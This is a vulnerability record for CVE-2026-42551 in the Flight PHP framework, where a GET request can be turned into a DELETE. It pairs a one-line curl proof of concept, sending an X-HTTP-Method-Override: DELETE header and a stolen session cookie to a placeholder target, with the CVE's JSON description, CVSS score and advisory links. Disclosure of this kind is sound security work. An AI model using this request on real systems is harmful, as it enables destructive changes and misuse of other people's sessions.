CVE-2026-42551

# PoC: Using curl to simulate a CSRF upgrade from GET to DELETE # Target: A Flight application endpoint vulnerable to method override curl -i -X GET 'http://vulnerable-target.com/user/delete' \ -H 'X-HTTP-Method-Override: DELETE' \ -H 'Cookie: session=attacker_stolen_session'

{"cve": {"id": "CVE-2026-42551", "sourceIdentifier": "[email protected]", "published": "2026-05-13T20:16:22.190", "lastModified": "2026-05-14T16:51:08.300", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Flight is an extensible micro-framework for PHP. Prior to 3.18.1, Request::getMethod() unconditionally honors the X-HTTP-Method-Override header and the $_REQUEST['_method'] parameter on any HTTP verb (including safe verbs such as GET), with no opt-in and no whitelist of permitted target methods. A GET request can silently become a DELETE or PUT, enabling CSRF escalation against destructive endpoints, bypass of middleware gated on unsafe verbs, and cache poisoning between CDN and origin. This vulnerability is fixed in 3.18.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-436"}]}], "references": [{"url": "https://github.com/flightphp/core/security/advisories/GHSA-vxrr-w42w-w76g", "source": "[email protected]"}, {"url": "https://github.com/flightphp/core/security/advisories/GHSA-vxrr-w42w-w76g", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}